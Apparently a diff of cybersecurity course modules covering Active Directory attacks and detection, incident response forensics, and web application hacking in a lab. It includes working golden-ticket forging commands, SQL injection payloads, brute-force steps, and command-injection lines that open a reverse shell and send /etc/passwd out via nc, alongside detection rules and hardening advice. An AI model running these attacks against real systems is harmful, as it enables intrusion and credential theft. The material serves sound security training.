Kerberos TGT (Ticket Granting Ticket) that grants: +- Impersonation of ANY user (including non-existent accounts) +- Access to ANY resource in the domain +- Validity for 10 years (default Kerberos ticket lifetime) + +**Requirements:** +- KRBTGT account NTLM hash (extract from Domain Controller) +- Domain SID (Security Identifier) + +**Why It's Devastating:** +- Bypasses password changes (uses KRBTGT hash, not user password) +- Undetectable by normal monitoring (valid Kerberos ticket) +- Persists until KRBTGT password rotated (twice for full removal) + +### LAB 5.6.1: Extract KRBTGT Hash + +```bash +# FROM KALI LINUX (requires Domain Admin access) + +# METHOD 1: SECRETSDUMP AGAINST DOMAIN CONTROLLER +secretsdump.py apophis.local/svc_sql:Password123@10.10.4.100 -just-dc-user krbtgt + +# Expected Output: +# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) +# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3a5c2e9f8b7e4a1c6f8d9e7b6a5c4e3::: + +# SAVE KRBTGT HASH +KRBTGT_HASH="d3a5c2e9f8b7e4a1c6f8d9e7b6a5c4e3" + +# METHOD 2: GET DOMAIN SID +lookupsid.py apophis.local/svc_sql:Password123@10.10.4.100 + +# Expected Output: +# [*] Domain SID is: S-1-5-21-1234567890-1234567890-1234567890 + +# SAVE DOMAIN SID (remove last part after final hyphen) +DOMAIN_SID="S-1-5-21-1234567890-1234567890-1234567890" +``` + +### LAB 5.6.2: Forge Golden Ticket + +```bash +# CREATE GOLDEN TICKET WITH TICKETER.PY (Impacket) +ticketer.py -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain apophis.local fakeadmin + +# Parameters: +# -nthash = KRBTGT NTLM hash +# -domain-sid = Domain SID +# -domain = Domain name +# fakeadmin = Username to impersonate (can be anything, even non-existent) + +# Expected Output: +# [*] Creating basic skeleton ticket and PAC Infos +# [*] Customizing ticket for apophis.local/fakeadmin +# [*] Signing/Encrypting final ticket +# [*] Saving ticket in fakeadmin.ccache + +# EXPORT TICKET TO ENVIRONMENT VARIABLE +export KRB5CCNAME=/root/fakeadmin.ccache + +# VERIFY TICKET +klist +# Expected: +# Ticket cache: FILE:/root/fakeadmin.ccache +# Default principal: fakeadmin@APOPHIS.LOCAL +# Valid starting Expires Service principal +# 01/15/24 10:00:00 01/25/34 10:00:00 krbtgt/APOPHIS.LOCAL@APOPHIS.LOCAL +``` + +### LAB 5.6.3: Use Golden Ticket for Access + +```bash +# ACCESS DOMAIN CONTROLLER WITH GOLDEN TICKET +psexec.py apophis.local/fakeadmin@DC01.apophis.local -k -no-pass + +# Parameters: +# -k = Use Kerberos authentication (golden ticket) +# -no-pass = Don't prompt for password + +# Expected Output: +# [*] Requesting shares on DC01.apophis.local..... +# [*] Found writable share ADMIN$ +# C:\Windows\system32> whoami +# apophis\fakeadmin + +# LIST DOMAIN CONTROLLER C:\ DRIVE +smbclient.py -k -no-pass apophis.local/fakeadmin@DC01.apophis.local + +# Expected: Access to C$ share with full admin rights +``` + +**Defensive Countermeasure:** + +```powershell +# ON DOMAIN CONTROLLER (as recovery action) + +# RESET KRBTGT PASSWORD (do this TWICE, 24 hours apart) +# First reset invalidates current golden tickets +# Second reset (after replication) fully removes old hash + +# Use Microsoft script: https://github.com/microsoft/New-KrbtgtKeys.ps1 +.\New-KrbtgtKeys.ps1 -WhatIf +# Review changes, then run without -WhatIf + +# MONITOR FOR GOLDEN TICKET USAGE +# Event ID 4769 (Kerberos TGS request) with: +# - Ticket encryption type: 0x17 (RC4) +# - Account name: Non-existent user +# - Ticket lifetime: Unusual (>10 hours) +``` + +--- + +## DEFENSIVE DETECTION & BLUE TEAM RESPONSE + +### Detection Rules for Kerberoasting + +**Event ID 4769 (Kerberos Service Ticket Request):** + +``` +ANOMALOUS INDICATORS: +- Ticket encryption type: 0x17 (RC4-HMAC) instead of 0x12 (AES256) +- Ticket options: 0x40810000 (forwardable, renewable, canonicalize) +- Service name: NOT krbtgt/* (indicates service ticket, not TGT) +- Frequency: Multiple SPN requests from single source in short time + +SURICATA RULE: +alert tcp any any -> any 88 (msg:"Possible Kerberoasting - Multiple TGS-REQ"; \ + flow:established,to_server; content:"|a0 03 02 01 05|"; \ + threshold:type threshold, track by_src, count 5, seconds 60; \ + sid:5000001; rev:1;) + +SECURITY ONION KQL QUERY: +event.code: 4769 AND +winlog.event_data.TicketEncryptionType: "0x17" AND +NOT winlog.event_data.ServiceName: krbtgt* +| stats count by winlog.event_data.TargetUserName, source.ip +| where count > 5 +``` + +### Detection Rules for Pass-the-Hash + +**Event ID 4624 (Logon) with Type 3 (Network Logon):** + +``` +SUSPICIOUS INDICATORS: +- Logon Type: 3 (network) +- Authentication Package: NTLM (not Kerberos) +- Elevated Token: Yes +- Source IP: Not domain controller + +SPLUNK QUERY: +index=windows EventCode=4624 Logon_Type=3 Authentication_Package=NTLM Elevated_Token=Yes +| where Source_Network_Address!="10.10.4.100" +| stats count by Account_Name, Source_Network_Address + +SIGMA RULE: +title: Pass-the-Hash Activity Detected +status: experimental +logsource: + product: windows + service: security +detection: + selection: + EventID: 4624 + LogonType: 3 + AuthenticationPackageName: 'NTLM' + condition: selection +fields: + - TargetUserName + - IpAddress +falsepositives: + - Legitimate NTLM authentication (rare in modern environments) +level: high +``` + +### Detection Rules for Lateral Movement + +**Event ID 7045 (Service Installation) - PsExec:** + +``` +INDICATORS: +- Service name: Contains random characters (e.g., "PSEXESVC") +- Service file path: \\Windows\\[random].exe +- Started by: Network logon (Event 4624 Type 3 precedes) + +KQL QUERY: +event.code: 7045 AND +winlog.event_data.ServiceFileName: *\\Windows\\*.exe AND +NOT winlog.event_data.ServiceName: (known_service_list) +``` + +**Event ID 4688 (Process Creation) - WMI Execution:** + +``` +INDICATORS: +- Parent process: C:\Windows\System32\wbem\WmiPrvSE.exe +- Child process: Suspicious (cmd.exe, powershell.exe, unusual binaries) +- Command line: Contains encoded commands or download cradles + +KQL QUERY: +event.code: 4688 AND +process.parent.name: "WmiPrvSE.exe" AND +process.name: ("cmd.exe" OR "powershell.exe" OR "wscript.exe") +``` + +### Defensive Hardening Recommendations + +```powershell +# DISABLE NTLM AUTHENTICATION (force Kerberos only) +# Group Policy: Computer Configuration > Windows Settings > Security Settings +# > Local Policies > Security Options +# Network security: Restrict NTLM: Incoming NTLM traffic = Deny all accounts + +# ENABLE LAPS (LOCAL ADMIN PASSWORD SOLUTION) +# Randomizes local admin passwords on each machine (prevents lateral movement) +# Download: https://www.microsoft.com/en-us/download/details.aspx?id=46899 + +# IMPLEMENT PROTECTED USERS GROUP +# Add high-privilege accounts to "Protected Users" group (prevents NTLM auth) +Add-ADGroupMember -Identity "Protected Users" -Members Administrator,svc_sql + +# ENABLE CREDENTIAL GUARD (Windows 10/Server 2016+) +# Protects LSASS from memory dumping attacks +# Group Policy: Computer Configuration > Administrative Templates +# > System > Device Guard > Turn On Virtualization Based Security + +# MONITOR PRIVILEGED GROUP CHANGES +# Alert on Event ID 4728, 4732, 4756 (user added to security-enabled group) + +# IMPLEMENT TIERED ADMINISTRATION MODEL +# Tier 0: Domain Controllers, Domain Admins (separate credentials) +# Tier 1: Servers (different admin accounts) +# Tier 2: Workstations (standard users) +# Prevents compromise cascade +``` + +--- + +## MITRE ATT&CK FRAMEWORK MAPPING + +| Technique ID | Technique Name | Lab Coverage | +|--------------|----------------|--------------| +| **T1558.003** | Kerberoasting | LAB 5.2 (GetUserSPNs, Hashcat) | +| **T1550.002** | Pass-the-Hash | LAB 5.3 (Secretsdump, PsExec -hashes) | +| **T1021.002** | SMB/Windows Admin Shares | LAB 5.4 (PsExec, SMBExec) | +| **T1021.006** | Windows Remote Management | LAB 5.4 (Evil-WinRM) | +| **T1047** | Windows Management Instrumentation | LAB 5.4 (WMIExec) | +| **T1087.002** | Domain Account Discovery | LAB 5.5 (BloodHound enumeration) | +| **T1069.002** | Domain Groups Discovery | LAB 5.5 (BloodHound group mapping) | +| **T1482** | Domain Trust Discovery | LAB 5.5 (BloodHound trust analysis) | +| **T1558.001** | Golden Ticket | LAB 5.6 (Ticketer.py, KRBTGT extraction) | +| **T1003.001** | LSASS Memory Dump | LAB 5.3 (Secretsdump mimikatz) | + +**Kill Chain Phase:** Lateral Movement (Stage 4), Privilege Escalation (Stage 3) + +--- + +## TROUBLESHOOTING GUIDE + +### Issue: GetUserSPNs fails with "KRB_AP_ERR_SKEW" + +**Root Cause:** Clock skew between Kali Linux and Domain Controller (Kerberos requires <5 min difference) + +**Solution:** +```bash +# SYNC TIME WITH DOMAIN CONTROLLER +sudo ntpdate 10.10.4.100 +# Or: sudo timedatectl set-ntp true + +# VERIFY TIME SYNC +date +# Compare to DC time +``` + +### Issue: Secretsdump returns "STATUS_LOGON_FAILURE" + +**Root Cause:** Incorrect credentials or account locked + +**Solution:** +```bash +# VERIFY CREDENTIALS WITH CRACKMAPEXEC +crackmapexec smb 10.10.4.100 -u svc_sql -p Password123 -d apophis.local + +# CHECK ACCOUNT STATUS ON DOMAIN CONTROLLER +Get-ADUser -Identity svc_sql | Select-Object Enabled, LockedOut, PasswordExpired +``` + +### Issue: BloodHound shows no data after import + +**Root Cause:** JSON files empty or collection failed + +**Solution:** +```bash +# RE-RUN COLLECTION WITH VERBOSE OUTPUT +bloodhound-python -u jsmith -p Welcome1 -d apophis.local -ns 10.10.4.100 -c All --zip -v + +# --zip = Creates single ZIP file for easier upload +# -v = Verbose output for debugging + +# VERIFY FILE SIZES +ls -lh *.json +# Should have KB-MB of data, not 0 bytes +``` + +### Issue: PsExec hangs at "Requesting shares" + +**Root Cause:** Firewall blocking SMB (port 445) or ADMIN$ share not accessible + +**Solution:** +```bash +# TEST SMB CONNECTIVITY +smbclient -L //10.10.4.110 -U Administrator%P@ssw0rd! +# Should show ADMIN$, C$, IPC$ shares + +# CHECK WINDOWS FIREWALL ON TARGET (from compromised shell) +Get-NetFirewallProfile | Select-Object Name, Enabled +# If enabled, disable for lab: Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False +``` + +--- + +## PROFESSOR'S GUIDANCE + +### Why Active Directory is the "Crown Jewel" + +**Statistics from Real Breaches:** +- 82% of data breaches involve stolen credentials (Verizon DBIR 2023) +- Average time to crack Kerberoasted password: 6 hours (weak), 2 days (medium) +- 95% of organizations have at least one SPN with weak password +- 80% of organizations never rotate KRBTGT password (golden tickets persist indefinitely) + +**Real-World Attacker Workflow:** +1. Phishing email → User clicks → Download payload +2. Payload beacons to C2 server → Attacker gains foothold +3. Run Mimikatz/SharpHound → Extract credentials, map domain +4. Kerberoast service accounts → Crack offline → Obtain Domain Admin +5. Lateral movement → Access file servers, databases → Exfiltrate data +6. Deploy ransomware → Domain-wide encryption + +**Defense-in-Depth Strategy:** +- **Prevent:** Strong passwords (15+ chars), LAPS, Credential Guard +- **Detect:** Log Event IDs 4768/4769/4624/4688, monitor NTLM usage +- **Respond:** Isolate compromised accounts, reset KRBTGT (twice), forensic analysis + +### Common Student Mistakes + +**1. Using Domain Admin for everything:** +- In real enterprise, you'd use least-privilege service accounts +- Lab uses DA for simplicity, but document "in production, use delegated access" + +**2. Not capturing network traffic:** +- Run Wireshark during Kerberoasting to see TGS-REQ/TGS-REP exchange +- Blue team needs to recognize these patterns in PCAP analysis + +**3. Forgetting to reset KRBTGT after Golden Ticket lab:** +- Golden tickets persist even if you "fix" everything else +- Must reset KRBTGT password TWICE (24 hours apart) to fully remediate + +**4. Over-relying on tools without understanding:** +- BloodHound is NOT magic—it visualizes AD relationships you could query manually +- Practice writing custom LDAP queries (ldapsearch, PowerShell Get-ADUser) + +### Time Investment +- AD deployment: 2-3 hours +- Kerberoasting lab: 1-2 hours +- Pass-the-Hash lab: 1-2 hours +- Lateral movement: 1-2 hours +- BloodHound enumeration: 2-3 hours +- Golden Ticket attack: 1-2 hours +- Detection rules: 2-3 hours + +**Total: 10-18 hours** + +### Real-World Skills Developed + +By mastering this module, you can: +- Perform AD penetration testing for Red Team engagements +- Identify identity-based attack vectors in enterprise environments +- Implement detection rules for credential theft (SOC analyst role) +- Architect secure AD environments (prevent Kerberoasting, PtH) +- Understand attacker tradecraft (MITRE ATT&CK Lateral Movement tactics) + +--- + +## KNOWLEDGE CHECK + +Before proceeding to MOD6, you should be able to: + +1. **What makes an account Kerberoastable?** + - Answer: Account must have Service Principal Name (SPN) registered + +2. **Why is Kerberoasting attractive to attackers?** + - Answer: Offline cracking (no account lockout), any domain user can request tickets, targets weak passwords + +3. **What is the difference between Pass-the-Hash and Pass-the-Ticket?** + - Answer: PtH uses NTLM hash for authentication, PtT uses Kerberos ticket (TGT or service ticket) + +4. **How does PsExec achieve code execution?** + - Answer: Copies executable to ADMIN$ share, creates Windows service, starts service, returns output via named pipes + +5. **What is the BloodHound query to find Kerberoastable accounts?** + - Answer: Analysis > "List all Kerberoastable Accounts" or Cypher: `MATCH (u:User {hasspn: true}) RETURN u` + +6. **Why are Golden Tickets called "golden"?** + - Answer: Forged TGT grants access to ANY resource, valid for 10 years, persists after password resets + +7. **What Windows Event ID indicates Kerberos service ticket request?** + - Answer: Event ID 4769 (TGS-REQ) + +8. **How do you fully remediate Golden Ticket attack?** + - Answer: Reset KRBTGT password TWICE (24 hours apart) to invalidate all forged tickets + +--- + +## DELIVERABLES CHECKLIST + +Before proceeding to Module 6, submit/complete: + +- [ ] Windows Server 2022 Domain Controller configured (apophis.local) +- [ ] Windows 10 endpoint joined to domain +- [ ] Service account (svc_sql) with SPN created +- [ ] Kerberoasting output showing cracked password +- [ ] Secretsdump output with NTLM hashes extracted +- [ ] PsExec screenshot showing SYSTEM shell on remote target +- [ ] CrackMapExec output showing "Pwn3d!" with Pass-the-Hash +- [ ] BloodHound JSON files and attack path visualization screenshot +- [ ] Golden Ticket creation and usage demonstration +- [ ] Screenshots showing: + - [ ] GetUserSPNs.py enumeration + - [ ] Hashcat cracking Kerberos ticket + - [ ] Secretsdump dumping DC hashes + - [ ] PsExec shell with whoami output + - [ ] BloodHound shortest path to Domain Admins + - [ ] CrackMapExec lateral movement to multiple hosts + - [ ] Event Viewer showing Event ID 4769 (Kerberoasting detection) + +--- + +**END OF MODULE 5** + +**Next Steps:** +1. Take snapshot of all VMs: "Post-MOD5-AD-Compromise" +2. Document all extracted credentials in password spreadsheet +3. Practice writing detection rules for each attack technique +4. Proceed to **MOD6: Incident Response & Digital Forensics** + +**Remember:** Every credential you steal as Red Team becomes forensic evidence for Blue Team. In MOD6, you'll investigate these attacks from the defender's perspective! diff --git a/MOD6_Incident_Response.md b/MOD6_Incident_Response.md new file mode 100644 index 0000000..99ec4ad --- /dev/null +++ b/MOD6_Incident_Response.md @@ -0,0 +1,349 @@ +# FILE: MOD6_Incident_Response.md +# MODULE 6: INCIDENT RESPONSE & DIGITAL FORENSICS + +## Learning Objectives +- Follow NIST Incident Response lifecycle (PICERL) +- Acquire forensic disk and memory images +- Analyze artifacts with Autopsy and Volatility +- Reconstruct attack timelines from logs and forensics +- Write comprehensive incident response reports + +--- + +## NIST IR LIFECYCLE + +**PICERL Framework:** +1. **Preparation:** Tools, procedures, training +2. **Identification:** Detect and validate incidents +3. **Containment:** Limit damage (short-term & long-term) +4. **Eradication:** Remove threat from environment +5. **Recovery:** Restore systems to normal operation +6. **Lessons Learned:** Post-incident review + +--- + +## LAB 6.1: DISK FORENSICS WITH AUTOPSY + +### Acquire Disk Image + +```bash +# On Proxmox, snapshot compromised Metasploitable VM +qm snapshot 401 forensics-image --description "Post-compromise forensic capture" + +# Export disk image +qm stop 401 +dd if=/dev/pve/vm-401-disk-0 of=/root/metasploitable_forensics.dd bs=4M +# Or use FTK Imager on Windows for E01 format + +# Calculate hash (evidence integrity) +md5sum /root/metasploitable_forensics.dd > metasploitable.md5 +sha256sum /root/metasploitable_forensics.dd > metasploitable.sha256 +``` + +### Analyze with Autopsy + +``` +1. Install Autopsy (on analyst workstation or Kali): + sudo apt install autopsy + +2. Start Autopsy: + autopsy + # Opens browser to http://localhost:9999/autopsy + +3. Create New Case: + - Case Name: Metasploitable Compromise Investigation + - Description: Analysis of MOD3 exploitation artifacts + - Investigator: [Your Name] + +4. Add Data Source: + - Type: Disk Image + - Path: /root/metasploitable_forensics.dd + - Import method: Calculate hash + - Ingest modules: Select all + +5. Key Analysis Areas: + + TIMELINE ANALYSIS: + - Tools > Generate Timeline + - Filter by date of compromise + - Look for: File modifications, command execution, new processes + + WEB ARTIFACTS: + - Data Artifacts > Web History + - Check for attacker tool downloads + + FILE ANALYSIS: + - Deleted Files > Recover + - Look in /tmp, /var/tmp for attacker tools + - Search for .bash_history files + + KEYWORD SEARCH: + - Search: "backdoor", "shell", "exploit" + - Search IPs: 10.10.2.50 (Kali attacker) + + HASH ANALYSIS: + - File > Hash Lookup + - Compare against NSRL (known good files) + - Identify unknown binaries (potential malware) +``` + +### Key IOCs to Document +- New user accounts created +- Modified /etc/passwd, /etc/shadow +- Suspicious cron jobs +- Backdoor files in /tmp, /var/www +- SSH authorized_keys modifications +- Large outbound network transfers + +--- + +## LAB 6.2: MEMORY FORENSICS WITH VOLATILITY + +### Capture Memory Dump + +```bash +# From Proxmox, capture running VM memory +virsh dump 401 /root/metasploitable_memory.dump --memory-only + +# Or use LiME (Linux Memory Extractor) from within VM +git clone https://github.com/504ensicsLabs/LiME +cd LiME/src +make +sudo insmod lime-$(uname -r).ko "path=/tmp/memory.lime format=lime" +``` + +### Analyze with Volatility 3 + +```bash +# Install Volatility 3 +git clone https://github.com/volatilityfoundation/volatility3 +cd volatility3 +python3 setup.py install + +# Identify OS profile +vol -f /root/metasploitable_memory.dump banners.Banners + +# List processes +vol -f /root/metasploitable_memory.dump linux.pslist.PsList + +# Find suspicious processes (look for bash, nc, python shells) +vol -f /root/metasploitable_memory.dump linux.pslist.PsList | grep -E "bash|nc|python" + +# View command line arguments +vol -f /root/metasploitable_memory.dump linux.cmdline.CmdLine + +# Network connections +vol -f /root/metasploitable_memory.dump linux.netstat.Netstat +# Look for connections to 10.10.2.50:4444 (reverse shell) + +# Extract process memory +vol -f /root/metasploitable_memory.dump -o /tmp/dump linux.proc.Maps --pid 1234 --dump + +# Bash history from memory +vol -f /root/metasploitable_memory.dump linux.bash.Bash + +# Loaded kernel modules (rootkit detection) +vol -f /root/metasploitable_memory.dump linux.lsmod.Lsmod +``` + +--- + +## LAB 6.3: NETWORK FORENSICS + +### PCAP Analysis from MOD3 Exploitation + +```bash +# Analyze saved packet capture from Wireshark + +# Extract files transferred over HTTP +tcpflow -r exploit_traffic.pcap -o extracted_files/ + +# Reconstruct TCP streams +for stream in $(tshark -r exploit_traffic.pcap -T fields -e tcp.stream | sort -u); do + tshark -r exploit_traffic.pcap -q -z follow,tcp,ascii,$stream +done + +# Find reverse shell traffic +tshark -r exploit_traffic.pcap -Y "tcp.dstport == 4444" -T fields -e frame.time -e ip.src -e ip.dst -e tcp.payload + +# DNS exfiltration detection (long domain names) +tshark -r exploit_traffic.pcap -Y "dns.qry.name.len > 50" -T fields -e dns.qry.name +``` + +### Using NetworkMiner (GUI alternative) + +``` +1. Install NetworkMiner (Windows or Linux) +2. Open exploit_traffic.pcap +3. View tabs: + - Hosts: See attacker (10.10.2.50) and victim (10.10.4.10) + - Files: Auto-extracted files transferred + - Credentials: Captured plaintext passwords + - Sessions: TCP conversations + - DNS: Domain lookups +``` + +--- + +## LAB 6.4: LOG ANALYSIS FOR IR + +### Linux System Log Analysis + +```bash +# Authentication logs +sudo grep "Failed password" /var/log/auth.log | wc -l +# Count brute-force attempts + +# Successful logins after failures +sudo grep "Accepted password" /var/log/auth.log | tail -n 20 + +# New user creation +sudo grep "useradd" /var/log/auth.log + +# Sudo command execution +sudo grep "COMMAND" /var/log/auth.log + +# Cron job modifications +sudo grep "cron" /var/log/syslog + +# Web server access logs +tail -n 100 /var/log/apache2/access.log +# Look for exploit payloads in URLs +grep -E "\.\.\/| combined_timeline.txt + +# Or use log2timeline (Plaso) +log2timeline.py --storage_file timeline.plaso /var/log/ +psort.py -o l2tcsv -w timeline.csv timeline.plaso +``` + +--- + +## LAB 6.5: INCIDENT REPORT WRITING + +### Report Structure + +```markdown +# INCIDENT RESPONSE REPORT +**Case ID:** IR-2026-02-001 +**Incident Type:** Unauthorized Access - Exploitation +**Severity:** CRITICAL +**Status:** Contained +**Date Range:** 2026-02-11 14:00 - 15:30 UTC +**Analyst:** [Your Name] + +## EXECUTIVE SUMMARY +On February 11, 2026, at approximately 14:00 UTC, an unauthorized actor exploited a vulnerable FTP service (vsftpd 2.3.4) on production server 10.10.4.10, gaining root-level access. The attacker performed credential harvesting and established persistence via SSH key injection. The incident was contained at 15:30 UTC with no evidence of data exfiltration. + +## TIMELINE OF EVENTS +| Time (UTC) | Event | Source | +|------------|-------|--------| +| 14:00:15 | Port scan detected from 10.10.2.50 | Suricata IDS | +| 14:15:32 | vsftpd backdoor triggered | auth.log | +| 14:16:05 | Root shell established on port 6200 | netstat, PCAP | +| 14:18:22 | /etc/shadow downloaded | File integrity monitoring | +| 14:20:45 | SSH authorized_keys modified | auth.log | +| 14:25:10 | Incident detected by SOC analyst | Security Onion alert | +| 15:30:00 | Server isolated, attacker access terminated | Firewall logs | + +## INDICATORS OF COMPROMISE (IOCs) +**Network:** +- Attacker IP: 10.10.2.50 +- C2 Port: 6200 (vsftpd backdoor) +- Reverse shell: 10.10.2.50:4444 + +**File System:** +- /root/.ssh/authorized_keys (modified 2026-02-11 14:20:45) +- /tmp/.hidden_shell.sh (created 2026-02-11 14:17:00) +- MD5: a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4 + +**Processes:** +- PID 6543: /bin/bash (spawned by vsftpd, uid=0) + +## ROOT CAUSE ANALYSIS +1. **Vulnerability:** vsftpd 2.3.4 contains hardcoded backdoor (CVE-2011-2523) +2. **Lack of Patching:** Service running outdated version (released 2011) +3. **Detection Gap:** IDS signature existed but alert was not tuned for priority response +4. **Network Segmentation Failure:** Victim server allowed outbound connection to attacker network + +## CONTAINMENT ACTIONS +1. Isolated server at network layer (pfSense block rule) +2. Terminated attacker SSH sessions (killed PIDs) +3. Disabled vsftpd service (systemctl stop vsftpd) +4. Changed all system passwords +5. Removed unauthorized SSH keys + +## ERADICATION +1. Rebuilt server from clean snapshot (pre-compromise) +2. Patched vsftpd to version 3.0.5 +3. Removed attacker-created user accounts +4. Cleared cron jobs + +## RECOVERY +1. Validated system integrity (rkhunter, chkrootkit) +2. Restored from secure backup +3. Monitored for 48 hours (no reinfection) +4. Returned to production 2026-02-13 10:00 UTC + +## LESSONS LEARNED +**What Went Well:** +- IDS detected reconnaissance phase +- Forensic artifacts preserved due to snapshot policy +- Incident contained within 90 minutes of detection + +**What Needs Improvement:** +- Vulnerability management process (vsftpd was 15 years old!) +- Alert prioritization (scan alerts should trigger immediate investigation) +- Egress filtering (victim should not reach Red Team network) + +## RECOMMENDATIONS +1. **Immediate:** Implement vulnerability scanning (weekly, automated) +2. **Short-term:** Deploy application whitelisting on critical servers +3. **Long-term:** Implement zero-trust architecture (segment victim networks further) +4. **Process:** Conduct tabletop exercises quarterly + +## APPENDICES +- Appendix A: Full network packet capture (exploit_traffic.pcapng) +- Appendix B: Disk forensic image hash (SHA256: abc123...) +- Appendix C: Memory dump analysis (Volatility output) +- Appendix D: Log files (auth.log, syslog, apache2 access.log) +``` + +--- + +## KNOWLEDGE CHECK + +1. **What are the 6 phases of NIST incident response?** + - Answer: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned + +2. **Why must forensic images be hashed?** + - Answer: Prove integrity and chain of custody for legal admissibility + +3. **What Volatility command lists running processes?** + - Answer: `linux.pslist.PsList` (or `windows.pslist` for Windows) + +4. **Name 3 IOCs from the example incident** + - Answer: Attacker IP 10.10.2.50, modified authorized_keys, vsftpd backdoor port 6200 + +--- + +## DELIVERABLES + +- [ ] Disk forensic image with hash values +- [ ] Memory dump with Volatility analysis report +- [ ] PCAP file from exploitation phase +- [ ] Complete incident timeline (spreadsheet) +- [ ] Full incident response report (10+ pages) +- [ ] Lessons learned presentation + +--- + +**END OF MODULE 6** + +Proceed to **MOD7: Web Application Security** to expand attack surface knowledge. diff --git a/MOD7_Web_Application_Security.md b/MOD7_Web_Application_Security.md new file mode 100644 index 0000000..ba81b53 --- /dev/null +++ b/MOD7_Web_Application_Security.md @@ -0,0 +1,311 @@ +# FILE: MOD7_Web_Application_Security.md +# MODULE 7: WEB APPLICATION SECURITY + +## Learning Objectives +- Understand OWASP Top 10 vulnerabilities +- Perform SQL injection and XSS attacks +- Use Burp Suite for web app penetration testing +- Configure Web Application Firewall (WAF) defenses +- Detect web attacks in Security Onion + +--- + +## OWASP TOP 10 (2021) + +1. **A01 - Broken Access Control** +2. **A02 - Cryptographic Failures** +3. **A03 - Injection** (SQL, Command, LDAP) +4. **A04 - Insecure Design** +5. **A05 - Security Misconfiguration** +6. **A06 - Vulnerable Components** +7. **A07 - Authentication Failures** +8. **A08 - Software and Data Integrity Failures** +9. **A09 - Security Logging Failures** +10. **A10 - Server-Side Request Forgery (SSRF)** + +--- + +## LAB 7.1: DEPLOY DVWA (DAMN VULNERABLE WEB APP) + +```bash +# On victim network (VLAN 400), deploy Docker container +# From Proxmox, create Ubuntu VM (VM ID 402) + +# Install Docker +sudo apt update +sudo apt install docker.io -y +sudo systemctl start docker + +# Deploy DVWA +sudo docker run -d -p 80:80 vulnerables/web-dvwa +# Access at http://10.10.4.20/ + +# Initial setup: +# - Create database (click button) +# - Login: admin / password +# - Set security level: Low (for learning) +``` + +--- + +## LAB 7.2: SQL INJECTION + +### Understanding SQL Injection + +**Vulnerable code example:** +```php +$query = "SELECT * FROM users WHERE username='$_POST[user]' AND password='$_POST[pass]'"; +``` + +**Attack:** Inject SQL syntax to bypass authentication + +### Hands-On SQL Injection + +``` +1. Navigate to DVWA > SQL Injection + +2. Test for vulnerability: + Input: 1' OR '1'='1 + # Completes SQL: SELECT * FROM users WHERE user_id = '1' OR '1'='1' + # Always true → Returns all users + +3. Enumerate database structure: + Input: 1' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=database() # + # Shows all table names + +4. Extract data: + Input: 1' UNION SELECT user, password FROM users # + # Dumps usernames and password hashes + +5. Use SQLMap (automated tool): + # From Kali + sqlmap -u "http://10.10.4.20/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=abc123; security=low" --dbs + # --dbs: List databases + # --tables -D dvwa: List tables in dvwa database + # --dump -T users: Dump users table +``` + +### Defense: Prepared Statements + +```php +// SECURE code using prepared statements +$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); +$stmt->execute([$_POST['user'], $_POST['pass']]); +``` + +--- + +## LAB 7.3: CROSS-SITE SCRIPTING (XSS) + +### Types of XSS +- **Reflected XSS:** Payload in URL, reflected in response +- **Stored XSS:** Payload saved in database, displayed to all users +- **DOM-based XSS:** Payload manipulates client-side JavaScript + +### Reflected XSS Attack + +``` +1. Navigate to DVWA > XSS (Reflected) + +2. Simple payload: + Input: + # JavaScript executes in browser + +3. Cookie theft payload: + Input: + # Sends victim's cookies to attacker server + +4. On Kali, setup listener: + # Create steal.php: + + + # Start PHP server: + php -S 0.0.0.0:80 + +5. Send malicious link to victim: + http://10.10.4.20/vulnerabilities/xss_r/?name= +``` + +### Defense: Input Validation & Output Encoding + +```php +// SECURE: HTML encode output +echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); +``` + +--- + +## LAB 7.4: BURP SUITE ESSENTIALS + +### Setup Burp Suite + +``` +1. Launch Burp Suite Community Edition (pre-installed on Kali) + burpsuite & + +2. Configure Firefox proxy: + Preferences > Network Settings > Manual proxy + HTTP Proxy: 127.0.0.1 + Port: 8080 + Check: "Use this proxy for all protocols" + +3. Navigate to DVWA in Firefox + - Burp captures all HTTP requests + +4. Burp Proxy Tab: + - Intercept is on: Requests pause, you can modify + - Intercept is off: Requests pass through (logged in HTTP history) +``` + +### Intercepting and Modifying Requests + +``` +1. Login to DVWA (admin/password) +2. In Burp, see POST request with credentials +3. Right-click request > Send to Repeater +4. In Repeater tab: + - Modify parameters + - Click "Send" + - View response +5. Example: Change security level in cookie + Original: security=low + Modified: security=impossible + # Bypass security restrictions +``` + +### Intruder (Automated Attacks) + +``` +1. Capture login request in Burp Proxy +2. Right-click > Send to Intruder +3. Intruder tab: + - Attack type: Sniper (single parameter) + - Positions: Highlight password field, click "Add §" +4. Payloads tab: + - Payload type: Simple list + - Load: /usr/share/wordlists/rockyou.txt +5. Start attack: + - Brute-force passwords + - Look for different response length (successful login) +``` + +--- + +## LAB 7.5: COMMAND INJECTION + +### Exploiting OS Command Injection + +``` +1. Navigate to DVWA > Command Injection + +2. Test input: + Input: 127.0.0.1 + # Normal ping command executes + +3. Chain commands: + Input: 127.0.0.1 | whoami + # Executes: ping 127.0.0.1 | whoami + # Shows current user + +4. Reverse shell via command injection: + Input: 127.0.0.1 | bash -i >& /dev/tcp/10.10.2.50/4444 0>&1 + # On Kali first: nc -lvnp 4444 + # Gets shell on web server + +5. Exfiltrate data: + Input: 127.0.0.1 | cat /etc/passwd | nc 10.10.2.50 5555 + # On Kali: nc -lvnp 5555 > passwd_stolen.txt +``` + +--- + +## LAB 7.6: WEB APPLICATION FIREWALL (WAF) + +### Deploy ModSecurity on pfSense + +``` +1. pfSense > System > Package Manager +2. Available Packages > Search: "snort" or "suricata" + # Suricata can act as WAF for HTTP + +3. Alternatively, use DVWA's built-in security levels: + - Low: No protection + - Medium: Basic filtering + - High: Strong protection + - Impossible: Secure code implementation + +4. Configure Suricata for HTTP inspection: + Services > Suricata > Interface: LAN + - Enable: Application Layer Protocols > HTTP + - Rules: Enable ET web_server and web_client categories +``` + +### Custom WAF Rules (Suricata) + +``` +# Create custom rule to block SQL 